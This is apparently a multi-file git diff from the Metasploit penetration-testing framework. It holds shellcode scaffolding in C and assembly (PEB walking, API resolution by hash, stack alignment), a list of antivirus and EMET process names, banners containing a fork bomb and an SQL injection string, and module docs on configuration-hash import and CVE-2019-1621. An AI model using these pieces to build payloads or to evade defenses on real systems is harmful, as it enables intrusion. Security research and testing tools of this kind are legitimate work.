Vector *__newVectorSize(size_t elemSize, size_t cap) {
Vector *vec = malloc(sizeof(Vector));
vec->data = calloc(cap, elemSize);
vec->top = 0;
vec->elemSize = elemSize;
vec->cap = cap;
return vec;
}
void Vector_Free(Vector *v) {
free(v->data);
free(v);
}
/* return the used size of the vector, regardless of capacity */
inline int Vector_Size(Vector *v) { return v->top; }
/* return the actual capacity */
inline int Vector_Cap(Vector *v) { return v->cap; }
+73
View File
@@ -0,0 +1,73 @@
#ifndef __VECTOR_H__
#define __VECTOR_H__
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
/*
* Generic resizable vector that can be used if you just want to store stuff
* temporarily.
* Works like C++ std::vector with an underlying resizable buffer
*/
typedef struct {
char *data;
size_t elemSize;
size_t cap;
size_t top;
} Vector;
/* Create a new vector with element size. This should generally be used
* internall by the NewVector macro */
Vector *__newVectorSize(size_t elemSize, size_t cap);
// Put a pointer in the vector. To be used internall by the library
int __vector_PutPtr(Vector *v, size_t pos, void *elem);
/*
* Create a new vector for a given type and a given capacity.
* e.g. NewVector(int, 0) - empty vector of ints
*/
#define NewVector(type, cap) __newVectorSize(sizeof(type), cap)
/*
* get the element at index pos. The value is copied in to ptr. If pos is outside
* the vector capacity, we return 0
* otherwise 1
*/
int Vector_Get(Vector *v, size_t pos, void *ptr);
/* Get the element at the end of the vector, decreasing the size by one */
int Vector_Pop(Vector *v, void *ptr);
//#define Vector_Getx(v, pos, ptr) pos < v->cap ? 1 : 0; *ptr =
//*(typeof(ptr))(v->data + v->elemSize*pos)
/*
* Put an element at pos.
* Note: If pos is outside the vector capacity, we resize it accordingly
*/
#define Vector_Put(v, pos, elem) __vector_PutPtr(v, pos, elem ? &(typeof(elem)){elem} : NULL)
/* Push an element at the end of v, resizing it if needed. This macro wraps
* __vector_PushPtr */
#define Vector_Push(v, elem) __vector_PushPtr(v, elem ? &(typeof(elem)){elem} : NULL)
int __vector_PushPtr(Vector *v, void *elem);
/* resize capacity of v */
int Vector_Resize(Vector *v, size_t newcap);
/* return the used size of the vector, regardless of capacity */
int Vector_Size(Vector *v);
/* return the actual capacity */
int Vector_Cap(Vector *v);
/* free the vector and the underlying data. Does not release its elements if
* they are pointers*/
void Vector_Free(Vector *v);
int __vecotr_PutPtr(Vector *v, size_t pos, void *elem);
#endif
@@ -0,0 +1,224 @@
/*
chacha-merged.c version 20080118
D. J. Bernstein
Public domain.
*/
/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */
#include <stddef.h>
typedef unsigned char u8;
typedef unsigned int u32;
typedef struct
{
u32 input[16]; /* could be compressed */
} chacha_ctx;
#define U8C(v) (v##U)
#define U32C(v) (v##U)
#define U8V(v) ((u8)(v) & U8C(0xFF))
#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF))
#define ROTL32(v, n) \
(U32V((v) << (n)) | ((v) >> (32 - (n))))
#define U8TO32_LITTLE(p) \
(((u32)((p)[0]) ) | \
((u32)((p)[1]) << 8) | \
((u32)((p)[2]) << 16) | \
((u32)((p)[3]) << 24))
#define U32TO8_LITTLE(p, v) \
do { \
(p)[0] = U8V((v) ); \
(p)[1] = U8V((v) >> 8); \
(p)[2] = U8V((v) >> 16); \
(p)[3] = U8V((v) >> 24); \
} while (0)
#define ROTATE(v,c) (ROTL32(v,c))
#define XOR(v,w) ((v) ^ (w))
#define PLUS(v,w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v),1))
#define QUARTERROUND(a,b,c,d) \
a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \
c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \
a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \
c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
static const char sigma[16] = "expand 32-byte k";
static const char tau[16] = "expand 16-byte k";
static void
chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits)
{
const char *constants;
x->input[4] = U8TO32_LITTLE(k + 0);
x->input[5] = U8TO32_LITTLE(k + 4);
x->input[6] = U8TO32_LITTLE(k + 8);
x->input[7] = U8TO32_LITTLE(k + 12);
if (kbits == 256) { /* recommended */
k += 16;
constants = sigma;
} else { /* kbits == 128 */
constants = tau;
}
x->input[8] = U8TO32_LITTLE(k + 0);
x->input[9] = U8TO32_LITTLE(k + 4);
x->input[10] = U8TO32_LITTLE(k + 8);
x->input[11] = U8TO32_LITTLE(k + 12);
x->input[0] = U8TO32_LITTLE(constants + 0);
x->input[1] = U8TO32_LITTLE(constants + 4);
x->input[2] = U8TO32_LITTLE(constants + 8);
x->input[3] = U8TO32_LITTLE(constants + 12);
}
static void
chacha_ivsetup(chacha_ctx *x,const u8 *iv)
{
x->input[12] = 1;
x->input[13] = U8TO32_LITTLE(iv + 0);
x->input[14] = U8TO32_LITTLE(iv + 4);
x->input[15] = U8TO32_LITTLE(iv + 8);
}
static void
chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes)
{
u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
u8 *ctarget = NULL;
u8 tmp[64];
u32 i;
if (!bytes) return;
j0 = x->input[0];
j1 = x->input[1];
j2 = x->input[2];
j3 = x->input[3];
j4 = x->input[4];
j5 = x->input[5];
j6 = x->input[6];
j7 = x->input[7];
j8 = x->input[8];
j9 = x->input[9];
j10 = x->input[10];
j11 = x->input[11];
j12 = x->input[12];
j13 = x->input[13];
j14 = x->input[14];
j15 = x->input[15];
for (;;) {
if (bytes < 64) {
for (i = 0;i < bytes;++i) tmp[i] = m[i];
m = tmp;
ctarget = c;
c = tmp;
}
x0 = j0;
x1 = j1;
x2 = j2;
x3 = j3;
x4 = j4;
x5 = j5;
x6 = j6;
x7 = j7;
x8 = j8;
x9 = j9;
x10 = j10;
x11 = j11;
x12 = j12;
x13 = j13;
x14 = j14;
x15 = j15;
for (i = 20;i > 0;i -= 2) {
QUARTERROUND( x0, x4, x8,x12)
QUARTERROUND( x1, x5, x9,x13)
QUARTERROUND( x2, x6,x10,x14)
QUARTERROUND( x3, x7,x11,x15)
QUARTERROUND( x0, x5,x10,x15)
QUARTERROUND( x1, x6,x11,x12)
QUARTERROUND( x2, x7, x8,x13)
QUARTERROUND( x3, x4, x9,x14)
}
x0 = PLUS(x0,j0);
x1 = PLUS(x1,j1);
x2 = PLUS(x2,j2);
x3 = PLUS(x3,j3);
x4 = PLUS(x4,j4);
x5 = PLUS(x5,j5);
x6 = PLUS(x6,j6);
x7 = PLUS(x7,j7);
x8 = PLUS(x8,j8);
x9 = PLUS(x9,j9);
x10 = PLUS(x10,j10);
x11 = PLUS(x11,j11);
x12 = PLUS(x12,j12);
x13 = PLUS(x13,j13);
x14 = PLUS(x14,j14);
x15 = PLUS(x15,j15);
#ifndef KEYSTREAM_ONLY
x0 = XOR(x0,U8TO32_LITTLE(m + 0));
x1 = XOR(x1,U8TO32_LITTLE(m + 4));
x2 = XOR(x2,U8TO32_LITTLE(m + 8));
x3 = XOR(x3,U8TO32_LITTLE(m + 12));
x4 = XOR(x4,U8TO32_LITTLE(m + 16));
x5 = XOR(x5,U8TO32_LITTLE(m + 20));
x6 = XOR(x6,U8TO32_LITTLE(m + 24));
x7 = XOR(x7,U8TO32_LITTLE(m + 28));
x8 = XOR(x8,U8TO32_LITTLE(m + 32));
x9 = XOR(x9,U8TO32_LITTLE(m + 36));
x10 = XOR(x10,U8TO32_LITTLE(m + 40));
x11 = XOR(x11,U8TO32_LITTLE(m + 44));
x12 = XOR(x12,U8TO32_LITTLE(m + 48));
x13 = XOR(x13,U8TO32_LITTLE(m + 52));
x14 = XOR(x14,U8TO32_LITTLE(m + 56));
x15 = XOR(x15,U8TO32_LITTLE(m + 60));
#endif
j12 = PLUSONE(j12);
if (!j12) {
j13 = PLUSONE(j13);
/* stopping at 2^70 bytes per nonce is user's responsibility */
}
U32TO8_LITTLE(c + 0,x0);
U32TO8_LITTLE(c + 4,x1);
U32TO8_LITTLE(c + 8,x2);
U32TO8_LITTLE(c + 12,x3);
U32TO8_LITTLE(c + 16,x4);
U32TO8_LITTLE(c + 20,x5);
U32TO8_LITTLE(c + 24,x6);
U32TO8_LITTLE(c + 28,x7);
U32TO8_LITTLE(c + 32,x8);
U32TO8_LITTLE(c + 36,x9);
U32TO8_LITTLE(c + 40,x10);
U32TO8_LITTLE(c + 44,x11);
U32TO8_LITTLE(c + 48,x12);
U32TO8_LITTLE(c + 52,x13);
U32TO8_LITTLE(c + 56,x14);
U32TO8_LITTLE(c + 60,x15);
if (bytes <= 64) {
if (bytes < 64) {
for (i = 0;i < bytes;++i) ctarget[i] = c[i];
}
x->input[12] = j12;
x->input[13] = j13;
return;
}
bytes -= 64;
c += 64;
#ifndef KEYSTREAM_ONLY
m += 64;
#endif
}
}
@@ -0,0 +1,136 @@
#ifndef _KERNEL_UTIL
#define _KERNEL_UTIL
typedef BOOL (WINAPI *FuncCreateProcess) (
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI *FuncSetHandleInformation)
(
HANDLE hObject,
DWORD dwMask,
DWORD dwFlags
);
typedef BOOL (WINAPI *FuncReadFile)
(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesToRead,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *FuncWriteFile)
(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *FuncPeekNamedPipe)
(
HANDLE hNamedPipe,
LPVOID lpBuffer,
DWORD nBufferSize,
LPDWORD nBytesRead,
LPDWORD lpTotalBytesAvailable,
LPDWORD lpBytesLeftThisMessage
);
typedef BOOL (WINAPI *FuncCreatePipe)
(
PHANDLE hReadPipe,
PHANDLE hWritePipe,
LPSECURITY_ATTRIBUTES lpPipeAttributes,
DWORD nSize
);
typedef BOOL (WINAPI *FuncCloseHandle)
(
HANDLE hObject
);
typedef HGLOBAL (WINAPI *FuncGlobalAlloc)
(
UINT uFlags,
SIZE_T dwBytes
);
typedef HGLOBAL (WINAPI *FuncGlobalFree)
(
HGLOBAL hMem
);
typedef HANDLE (WINAPI *FuncHeapCreate)
(
DWORD flOptions,
SIZE_T dwInitialize,
SIZE_T dwMaximumSize
);
typedef LPVOID (WINAPI *FuncHeapAlloc)
(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
typedef VOID (WINAPI *FuncSleep)
(
DWORD dwMilliseconds
);
typedef HANDLE (WINAPI *FuncGetCurrentProcess) ();
typedef BOOL (WINAPI *FuncGetExitCodeProcess)
(
HANDLE hProcess,
LPDWORD lpExitCode
);
typedef VOID (WINAPI *FuncExitProcess)
(
UINT uExitCode
);
typedef BOOL (WINAPI *FuncCloseHandle)
(
HANDLE hObject
);
typedef BOOL (WINAPI *FuncVirtualProtect)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef LPVOID (WINAPI *FuncVirtualAlloc)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL (WINAPI *FuncVirtualFree)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
#endif
@@ -0,0 +1,152 @@
/*
* This code is provided under the 3-clause BSD license below.
* ***********************************************************
*
* Copyright (c) 2013, Matthew Graeber
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _PAYLOAD_UTIL
#define _PAYLOAD_UTIL
#include <windows.h>
#include <winternl.h>
typedef HMODULE (WINAPI *FuncLoadLibraryA) (
LPTSTR lpFileName
);
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB) __readgsqword( 0x60 );
#else
PebAddress = (PPEB) __readfsdword( 0x30 );
#endif
pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}
// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR) BaseDllName.Buffer + i);
dwModuleHash = ROTR32( dwModuleHash, 13 );
if ( *pTempChar >= 0x61 )
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
// All modules have been exhausted and the function was not found.
return NULL;
}
#endif
@@ -0,0 +1,64 @@
#ifndef _WINSOCK_UTIL
#define _WINSOCK_UTIL
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#include <ws2tcpip.h>
typedef int (WINAPI *FuncWSAStartup)
(
WORD wVersionRequired,
LPWSADATA lpWSAData
);
typedef int (WINAPI *FuncWSACleanup) ();
typedef int (WINAPI *FuncGetAddrInfo)
(
PCSTR pNodeName,
PCSTR pServiceName,
const ADDRINFO *pHints,
LPADDRINFO *ppResult
);
typedef void (WINAPI *FuncFreeAddrInfo)
(
LPADDRINFO pAddrInfo
);
typedef SOCKET (WINAPI *FuncWSASocketA) (
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
typedef int (WINAPI *FuncConnect)
(
SOCKET s,
const struct sockaddr *name,
int namelen
);
typedef int (WINAPI *FuncSend)
(
SOCKET s,
const char *buf,
int len,
int flags
);
typedef int (WINAPI *FuncRecv)
(
SOCKET s,
char *buf,
int len,
int flags
);
#endif
+33
View File
@@ -0,0 +1,33 @@
`:oDFo:`
./ymM0dayMmy/.
-+dHJ5aGFyZGVyIQ==+-
`:sm⏣~~Destroy.No.Data~~s:`
-+h2~~Maintain.No.Persistence~~h+-
`:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
-++SecKCoin++e.AMd` `.-://///+hbove.913.ElsMNh+-
-~/.ssh/id_rsa.Des- `htN01UserWroteMe!-
:dopeAW.No<nano>o :is:TЯiKC.sudo-.A:
:we're.all.alike'` The.PFYroy.No.D7:
:PLACEDRINKHERE!: yxp_cmdshell.Ab0:
:msf>exploit -j. :Ns.BOB&ALICEes7:
:---srwxrwx:-.` `MS146.52.No.Per:
:<script>.Ac816/ sENbove3101.404:
:NT_AUTHORITY.Do `T:/shSYSTEM-.N:
:09.14.2011.raid /STFU|wall.No.Pr:
:hvensntSurb025N. dNVRGOING2GIVUUP:
:#OUTHOUSE- -s: /corykennedyData:
:$nmap -oS SSo.6178306Ence:
:Awsm.da: /shMTl#beats3o.No.:
:Ring0: `dDestRoyREXKC3ta/M:
:23d: sSETEC.ASTRONOMYist:
/- /yo- .ence.N:(){ :|: & };:
`:Shall.We.Play.A.Game?tron/
```-ooy.if1ghtf0r+ehUser5`
..th3.H1V3.U2VjRFNN.jMh+.`
`MjM~~WE.ARE.se~~MMjMs
+~KANSAS.CITY's~-`
J~HAKCERS~./.`
.esc:wq!:`
+++ATH`
`
+22
View File
@@ -0,0 +1,22 @@
%clr ___ ____
,-"" `.%yel %whi< HONK >
,' _ e %yel)`-._%whi / ----
/ ,' `-._%yel<.===-'%whi
/ /
/ ;
_ / ;
(`._ _.-"" ""--..__,' |
<_ `-"" \
<`- :
(__ <__. ;
`-. '-.__. _.' /
\ `-.__,-' _,'
`._ , /__,-'
""._\__,'%yel< <____%whi
%yel| | `----.`.
%whi %yel| | \ `.
%whi %yel; |___ \-``
%whi %yel\ --<
%whi %yel`.`.<
%whi %yel`-'
%whi
+1 -1
View File
@@ -31,7 +31,7 @@ Stack: 90909090990909090990909090
ffffffff..................
%clr
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00%clr
Aiee, Killing Interrupt handler
%redKernel panic: Attempted to kill the idle task!
In swapper task - not syncing%clr
@@ -25,5 +25,5 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24
Example 3:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:/tmp/ip_list.txt
```
+58
View File
@@ -0,0 +1,58 @@
use_bpm 130
use_synth_defaults sustain: 0
live_loop :drums do
sample :drum_heavy_kick, amp: 2
sleep 1
sample :drum_snare_hard
sleep 1
end
live_loop :hi_hat do
sample :drum_cymbal_closed, amp: 0.5
sleep 0.5
end
live_loop :bass do
use_synth :pluck
notes = %i[
Eb3 Eb3 Eb3
B2 B2 B2
Fs2 Fs2 Fs2
As2 As2 As2 As2
]
beats = %w[
2.0 1.0 1.0
2.0 1.0 1.0
2.0 1.0 1.0
1.5 1.0 0.5 1.0
].map(&:to_f)
with_fx :reverb do
play_pattern_timed notes, beats
end
end
live_loop :lead do
use_synth :piano
notes = %i[
As4 As4 As4 As4 Gs4 As4 As4
As4 As4 As4 Gs4 As4 As4
Db5 As4 Gs4 Fs4
Eb4 Eb4 F4 Fs4 Eb4
]
beats = %w[
2.00 0.50 0.25 0.25 0.25 0.75 2.00
0.50 0.25 0.25 0.25 0.75 1.50
1.00 1.00 1.00 1.00
0.50 0.50 0.50 0.50 0.50
].map(&:to_f)
with_fx :reverb do
play_pattern_timed notes, beats
end
end
@@ -0,0 +1,48 @@
/*
* This code is provided under the 3-clause BSD license below.
* ***********************************************************
*
* Copyright (c) 2013, Matthew Graeber
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
; Author: Matthew Graeber (@mattifestation)
; License: BSD 3-Clause
; Syntax: MASM
; Build Syntax: ml64 /c /Cx AdjustStack.asm
; Output: AdjustStack.obj
; Notes: I really wanted to avoid having this external dependency but I couldnt
; come up with any other way to guarantee 16-byte stack alignment in 64-bit
; shellcode written in C.
extern ExecutePayload
global AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
; to be called as an extern in our C code.
segment .text
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.
AlignRSP:
push rsi ; Preserve RSI since were stomping on it
mov rsi, rsp ; Save the value of RSP so it can be restored
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
sub rsp, 020h ; Allocate homing space for ExecutePayload
call ExecutePayload ; Call the entry point of the payload
mov rsp, rsi ; Restore the original value of RSP
pop rsi ; Restore RSI
ret ; Return to caller
@@ -0,0 +1,9 @@
ENTRY(_ExecutePayload)
SECTIONS
{
.text :
{
*(.text.ExecutePayload)
}
}
@@ -0,0 +1,11 @@
ENTRY(AlignRSP)
SECTIONS
{
.text :
{
*(.text.AlignRSP)
*(.text.ExecutePayload)
*(.text.GetProcAddressWithHash)
}
}
+9
View File
@@ -1,3 +1,12 @@
AlMon.exe
SAVAdminService.exe
SavService.exe
SNTPService.exe
swc_service.exe
swi_fc.exe
swi_filter.exe
swi_service.exe
swi_fc.exe
emet_agent.exe
emet_service.exe
firesvc.exe
+12362 -4404
View File
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,50 @@
## General Notes
This module imports a Brocade configuration file into the database.
This is similar to `post/brocade/gather/enum_brocade` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf).
## Verification Steps
1. Have a Brocade configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/brocade/brocade_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
## Scenarios
```
msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf
msf5 > use auxiliary/admin/brocade/brocade_config
msf5 auxiliary(admin/brocade/brocade_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(admin/brocade/brocade_config) > set config /tmp/brocade.conf
config => /tmp/brocade.conf
msf5 auxiliary(admin/brocade/brocade_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] password-display is enabled, hashes will be displayed in config
[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -0,0 +1,51 @@
## General Notes
This module imports a Cisco configuration file into the database.
This is similar to `post/cisco/gather/enum_cisco` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt)
or from [Cisco](https://www.cisco.com/en/US/docs/routers/access/800/850/software/configuration/guide/sampconf.html).
## Verification Steps
1. Have a Cisco configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/cisco/cisco_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
## Scenarios
```
root@metasploit-dev:~/metasploit-framework# wget https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt -O /tmp/LA_EDGE_D.txt -o /dev/null
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/cisco/cisco_config
msf5 auxiliary(admin/cisco/cisco_config) > set config /tmp/LA_EDGE_D.txt
config => /tmp/LA_EDGE_D.txt
msf5 auxiliary(admin/cisco/cisco_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/cisco/cisco_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] 127.0.0.1:22 MD5 Encrypted Enable Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
[+] 127.0.0.1:22 Username 'Waldo' with MD5 Encrypted Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -0,0 +1,42 @@
## Introduction
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
the full path of the file (aka CVE-2019-1621).
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
